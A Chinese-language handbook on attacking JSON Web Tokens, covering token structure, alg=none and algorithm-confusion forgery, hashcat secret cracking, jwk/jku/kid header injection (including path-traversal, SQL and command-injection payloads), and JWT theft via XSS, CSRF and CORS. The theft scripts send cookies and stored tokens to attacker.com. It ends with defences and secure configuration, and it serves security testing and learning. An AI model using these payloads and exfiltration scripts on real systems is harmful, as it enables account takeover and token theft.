JWT 攻击完整手册
综合整理自 PortSwigger Web Security Academy、CSDN、奇安信攻防社区等资料
目录
一、JWT 基础知识
1.1 什么是 JWT?
JSON Web Token (JWT) 是一个开放标准(RFC 7519),用于在双方之间安全地表示声明。JWT 是一种无状态的认证机制,通常用于:
- 身份验证(Authentication)
- 会话管理(Session Management)
- 访问控制(Access Control)
- 信息交换(Information Exchange)
与传统会话令牌不同,JWT 将服务器所需的所有数据存储在客户端令牌本身中,适合高度分布式网站和微服务架构。
1.2 JWT 结构
JWT 由三部分组成,用点号(.)分隔:
Header.Payload.Signature
示例:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po
1.2.1 Header(头部)
包含令牌的元数据,通常包括:
{
"alg": "HS256", // 签名算法
"typ": "JWT", // 令牌类型
"kid": "key-id" // 密钥ID(可选)
}
常见头部声明:
| 声明 | 描述 | 格式 |
|---|---|---|
typ | 令牌类型 (JWT/JWE/JWS) | string |
alg | 签名/加密算法 | string |
kid | 密钥ID,用于查找密钥 | string |
x5u | X.509证书的URL | URL |
x5c | 用于签名的X.509证书 | JSON object |
jku | JWKS格式密钥的URL | URL |
jwk | JWK格式的密钥 | JSON object |
1.2.2 Payload(有效载荷)
包含用户相关的"声明"(Claims)信息:
{
"sub": "1234567890",
"name": "John Doe",
"admin": true,
"iat": 1516239022,
"exp": 1648037164
}
标准声明:
| 声明 | 描述 | 格式 |
|---|---|---|
iss | 令牌发行人 | string/URL |
aud | 令牌受众(预期接收方) | string/URL |
sub | 令牌主题(接收者) | string |
jti | 令牌唯一标识符 | string/integer |
nbf | Not Before - 生效时间戳 | integer |
iat | Issued At - 签发时间戳 | integer |
exp | Expiration - 过期时间戳 | integer |
1.2.3 Signature(签名)
签名用于验证消息完整性和发送者身份:
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)
1.3 JWT vs JWS vs JWE
- JWT:定义信息格式的规范
- JWS(JSON Web Signature):带签名的JWT,内容可见但不可篡改
- JWE(JSON Web Encryption):加密的JWT,内容不可见
通常说的 JWT 指的是 JWS 令牌。
1.4 对称 vs 非对称算法
| 类型 | 算法示例 | 特点 |
|---|---|---|
| 对称加密 | HS256, HS384, HS512 | 单一密钥用于签名和验证 |
| 非对称加密 | RS256, RS384, RS512, ES256, PS256 | 私钥签名,公钥验证 |
二、JWT 攻击概述
2.1 攻击目标
JWT 攻击的典型目标包括:
- 绕过身份验证:冒充其他用户
- 权限提升:获取管理员权限
- 信息泄露:获取敏感数据
- 进一步攻击:SQLi、XSS、SSRF、RCE、LFI 等
2.2 漏洞产生原因
- 签名验证缺陷:未正确验证签名
- 弱密钥:使用可猜测或可暴力破解的密钥
- 算法混淆:未正确处理不同签名算法
- 配置错误:允许不安全的算法或参数
- 库漏洞:JWT 库本身的实现缺陷
2.3 已知 CVE
| CVE | 名称 | 描述 |
|---|---|---|
| CVE-2015-9235 | Alg:none 攻击 | 接受无签名令牌 |
| CVE-2016-5431 | 密钥混淆攻击 | RS256 → HS256 算法切换 |
| CVE-2018-0114 | 密钥注入攻击 | 通过 jwk 头部注入公钥 |
三、攻击技术详解
3.1 签名验证缺陷
3.1.1 接受任意签名(未验证签名)
漏洞原因:开发者混淆了 verify() 和 decode() 方法
// 错误用法 - 只解码不验证
const decoded = jwt.decode(token);
// 正确用法 - 解码并验证签名
const verified = jwt.verify(token, secret);
攻击方式:直接修改 payload 内容,保留或修改签名
3.1.2 无签名令牌攻击(alg=none)
漏洞原因:JWT 规范允许 alg 设为 none
攻击示例:
// Header
{"typ": "JWT", "alg": "none"}
// Payload
{"login": "admin", "role": "administrator"}
// 无签名
完整令牌:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJsb2dpbiI6ImFkbWluIiwicm9sZSI6ImFkbWluaXN0cmF0b3IifQ.
绕过技巧(针对简单的字符串过滤):
NoneNONEnOnEnone\\x00(空字节)
工具命令:
python3 jwt_tool.py JWT_HERE -A
3.2 暴力破解密钥
3.2.1 适用条件
- 使用对称加密算法(HS256/HS384/HS512)
- 密钥为弱密码或默认密码
3.2.2 使用 hashcat 破解
# 字典攻击
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
# 基于规则的攻击
hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule
# 暴力破解
hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6
3.2.3 使用 jwt_tool 破解
python3 jwt_tool.py JWT_HERE -C -d dictionary.txt
3.2.4 破解策略
- 常见默认密码字典攻击
- 泄露密码词表攻击
- 从目标网站抓取的词进行定向攻击
- 规则攻击(添加数字、特殊字符等)
- 渐进式暴力破解
3.3 算法混淆攻击(CVE-2016-5431)
3.3.1 漏洞原理
某些 JWT 库使用同一个变量存储:
- HMAC 对称加密的密钥
- RSA 非对称加密的公钥
当服务器期望 RS256 但收到 HS256 时,会用公钥作为 HMAC 密钥验证签名。
3.3.2 攻击步骤
- 获取服务器公钥(通过 /jwks.json 等端点)
- 转换公钥格式(转为 PEM 格式)
- 修改 JWT:
- 将
alg改为HS256 - 修改 payload 内容
- 将
- 用公钥作为 HMAC 密钥签名
3.3.3 详细操作(Burp Suite)
1. 获取公钥(JWK 格式)
2. JWT Editor Keys → New RSA Key → 粘贴 JWK
3. 选择 PEM 单选按钮,复制 PEM 密钥
4. Decoder → Base64 编码 PEM
5. JWT Editor Keys → New Symmetric Key
6. 将 k 参数替换为 Base64 编码的 PEM
7. 修改 JWT 的 alg 为 HS256
8. 用新密钥签名
工具命令:
python3 jwt_tool.py JWT_HERE -K -pk public.pem
3.3.4 从现有 JWT 推导公钥
当公钥不可用时,可从两个有效的 JWT 推导:
docker run --rm -it portswigger/sig2n <token1> <token2>
或使用 jwt_forgery.py:
python3 jwt_forgery.py <token1> <token2>
3.4 JWT 头部参数注入
3.4.1 jwk 注入(CVE-2018-0114)
原理:在头部嵌入攻击者的公钥
攻击示例:
{
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"kid": "attacker-key",
"use": "sig",
"e": "AQAB",
"n": "攻击者的公钥模数..."
}
}
攻击步骤:
- 生成新的 RSA 密钥对
- 用私钥签名修改后的 JWT
- 将公钥嵌入
jwk头部参数
工具命令:
python3 jwt_tool.py JWT_HERE -I
3.4.2 jku 注入(JWKS 欺骗)
原理:通过 jku 参数指向攻击者控制的 URL
攻击示例:
{
"typ": "JWT",
"alg": "RS256",
"jku": "https://attacker.com/jwks.json"
}
攻击步骤:
- 生成新的 RSA 密钥对
- 在攻击者服务器托管 JWKS 文件
- 将
jku指向该 URL - 用私钥签名令牌
工具命令:
python3 jwt_tool.py JWT_HERE -S -u https://attacker.com/jwks.json
3.4.3 kid 参数攻击
(1)目录遍历
{
"kid": "../../dev/null",
"alg": "HS256"
}
使用空文件内容(空字符串)作为密钥签名。
(2)路径遍历读取已知文件
{
"kid": "../../etc/passwd",
"alg": "HS256"
}
(3)SQL 注入
{
"kid": "key' UNION SELECT 'secret'--",
"alg": "HS256"
}
(4)命令注入
{
"kid": "key|whoami",
"alg": "HS256"
}
(5)SSRF
{
"kid": "/dev/tcp/attacker.com/80",
"alg": "HS256"
}
3.4.4 x5c 证书链注入
类似 jwk 注入,通过 x5c 参数注入自签名证书。
相关 CVE:CVE-2017-2800、CVE-2018-2633
3.4.5 cty 参数攻击
修改 cty(Content Type)可能触发:
- XXE 攻击(
text/xml) - 反序列化攻击(
application/x-java-serialized-object)
四、高级攻击技术
4.1 跨服务中继攻击
场景:多个服务共享同一个身份验证服务
攻击方式:
- 在服务 A 注册账号
- 获取 JWT 令牌
- 将令牌重放到服务 B
利用条件:令牌未包含 aud 声明或 aud 验证不严格
4.2 令牌过期绕过
检查点:
- 令牌是否包含
exp声明? - 服务器是否真正检查
exp? - 过期令牌能否继续使用?
测试方法:
python3 jwt_tool.py JWT_HERE -R # 查看令牌内容和过期时间
4.3 不朽令牌(Immortal Token)
如果令牌永不过期或可以无限刷新,攻击者可以:
- 长期保持访问权限
- 即使用户修改密码也能继续访问
4.4 声明处理顺序漏洞
某些应用在验证签名之前处理声明内容,导致:
- 即使签名无效,篡改的数据也被使用
- 可能导致 XSS、SQLi 等注入攻击
测试方法:
- 修改 payload 中的值
- 保留原始签名
- 观察响应是否反映修改
4.5 参数污染
通过注入重复的声明:
{
"user": "attacker",
"user": "admin"
}
不同解析器可能取第一个或最后一个值。
五、窃取 JWT 的方法
5.1 XSS 攻击
Cookie 存储的 JWT(非 HTTPOnly):
document.location='http://attacker.com/steal?c='+document.cookie;
LocalStorage 存储的 JWT:
new Image().src='http://attacker.com/log?jwt='+localStorage.getItem('token');
SessionStorage 存储的 JWT:
fetch('http://attacker.com/log?jwt='+sessionStorage.getItem('token'));
5.2 CSRF 攻击
当 JWT 存储在 Cookie 中时:
<form id="csrf" action="https://target.com/api/password" method="POST">
<input name="password" value="hacked123" />
</form>
<script>document.getElementById("csrf").submit();</script>
5.3 CORS 配置错误
当 CORS 允许任意来源 + 凭据时:
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://target.com/api/token/refresh");
xhr.withCredentials = true;
xhr.onload = function() {
fetch('http://attacker.com/log?jwt=' + xhr.responseText);
};
xhr.send();
5.4 中间人攻击
JWT 可能在以下位置暴露:
- 未加密的 HTTP 流量
- 服务器日志文件
- Referer 头(如果在 URL 参数中)
- 浏览器历史记录
六、查找公钥的方法
6.1 标准端点
/.well-known/jwks.json
/jwks.json
/openid/connect/jwks.json
/api/keys
/api/v1/keys
/oauth/discovery/keys
6.2 从 SSL 证书提取
# 获取证书
openssl s_client -connect example.com:443 2>&1 < /dev/null | \\
sed -n '/-----BEGIN/,/-----END/p' > cert.pem
# 提取公钥
openssl x509 -pubkey -in cert.pem -noout > pubkey.pem
6.3 从 JWT 声明获取线索
jku声明:直接指向 JWKS URLx5u声明:指向 X.509 证书iss声明:发行人 URL 可能暴露公钥
6.4 从详细错误信息获取
尝试发送畸形令牌触发错误:
- 损坏的签名
- 无效的 Base64
- 错误的算法
- 错误的数据类型
七、测试工具与流程
7.1 jwt_tool 使用
安装:
git clone https://github.com/ticarpi/jwt_tool
pip3 install pycryptodomex
常用命令:
# 解码令牌
python3 jwt_tool.py JWT_HERE -R
# 漏洞扫描
python3 jwt_tool.py JWT_HERE -X
# 交互式篡改
python3 jwt_tool.py JWT_HERE -T
# none 算法攻击
python3 jwt_tool.py JWT_HERE -A
# 密钥破解
python3 jwt_tool.py JWT_HERE -C -d wordlist.txt
# 密钥混淆攻击
python3 jwt_tool.py JWT_HERE -K -pk public.pem
# jwk 注入
python3 jwt_tool.py JWT_HERE -I
# jku 欺骗
python3 jwt_tool.py JWT_HERE -S -u http://attacker.com/jwks.json
# 验证公钥
python3 jwt_tool.py JWT_HERE -V -pk public.pem
7.2 Burp Suite JWT Editor
- 安装 JWT Editor 扩展
- 在 Repeater 中查看 JSON Web Token 标签
- 使用 JWT Editor Keys 管理密钥
- 使用 Attack 功能自动化攻击
7.3 其他工具
- jwt.io:在线解码调试
- hashcat:密钥暴力破解
- jwt_forgery.py:从 JWT 推导公钥
- Burp Collaborator:检测 SSRF
7.4 测试流程
1. 识别 JWT(正则:[= ]ey[A-Za-z0-9_-]*\\.[A-Za-z0-9._-]*)
2. 找到测试页面(如个人资料页)
3. 验证令牌可重放
4. 测试是否需要令牌
5. 测试签名验证
6. 测试令牌持久性
7. 检查令牌来源(服务端 vs 客户端)
8. 测试声明处理顺序
9. 测试弱密钥
10. 测试已知漏洞(none、密钥混淆、注入等)
11. 模糊测试
八、防御措施
8.1 签名验证
| 措施 | 说明 |
|---|---|
| 始终验证签名 | 使用 verify() 而非 decode() |
| 白名单算法 | 明确指定允许的算法,拒绝 none |
| 不信任 alg 头 | 服务端强制指定算法 |
8.2 密钥管理
| 措施 | 说明 |
|---|---|
| 使用强密钥 | HMAC 至少 256 位随机密钥 |
| 密钥轮换 | 定期更换密钥 |
| 安全存储 | 使用 KMS 或环境变量 |
| 优先非对称 | RS256/ES256 比 HS256 更安全 |
8.3 头部参数防护
| 措施 | 说明 |
|---|---|
| 忽略 jwk 头 | 不使用令牌中嵌入的密钥 |
| 白名单 jku | 只允许信任的 JWKS URL |
| 过滤 kid | 防止路径遍历和注入 |
| 忽略 x5u/x5c | 不使用令牌中的证书 |
8.4 令牌生命周期
| 措施 | 说明 |
|---|---|
| 设置 exp | 使用短期令牌(15分钟-1小时) |
| 实现刷新机制 | 使用 refresh token |
| 令牌撤销 | 实现黑名单或版本控制 |
| 检查 nbf/iat | 验证时间相关声明 |
8.5 其他防护
| 措施 | 说明 |
|---|---|
| 使用 aud 声明 | 指定令牌接收方 |
| 不在 URL 传递 | 避免泄露到日志和历史记录 |
| 不存敏感数据 | Payload 只是编码不是加密 |
| HTTPOnly Cookie | 防止 XSS 窃取 |
| 使用最新库 | 及时更新修复漏洞 |
8.6 安全配置示例
// Node.js jsonwebtoken 库
const jwt = require('jsonwebtoken');
// 签名时
const token = jwt.sign(payload, privateKey, {
algorithm: 'RS256', // 明确指定算法
expiresIn: '15m', // 设置过期时间
audience: 'my-app', // 指定受众
issuer: 'auth-server' // 指定发行人
});
// 验证时
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256'], // 白名单算法
audience: 'my-app',
issuer: 'auth-server',
complete: true
});
九、学习资源
9.1 官方文档
9.2 学习平台
9.3 工具
9.4 实战靶场
- PortSwigger JWT Labs
- HackTheBox
- TryHackMe
- DVWA
附录:速查表
常见攻击命令
# 解码 JWT
echo "JWT_HERE" | cut -d'.' -f2 | base64 -d
# none 攻击
python3 jwt_tool.py JWT -A
# 密钥破解
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
# 算法混淆
python3 jwt_tool.py JWT -K -pk public.pem
# jwk 注入
python3 jwt_tool.py JWT -I
# 推导公钥
docker run --rm -it portswigger/sig2n token1 token2
正则表达式
# 匹配 JWT
[= ]ey[A-Za-z0-9_-]*\\.[A-Za-z0-9._-]*
最后更新:2024年
免责声明:本文档仅供安全研究和授权测试使用,请勿用于非法目的。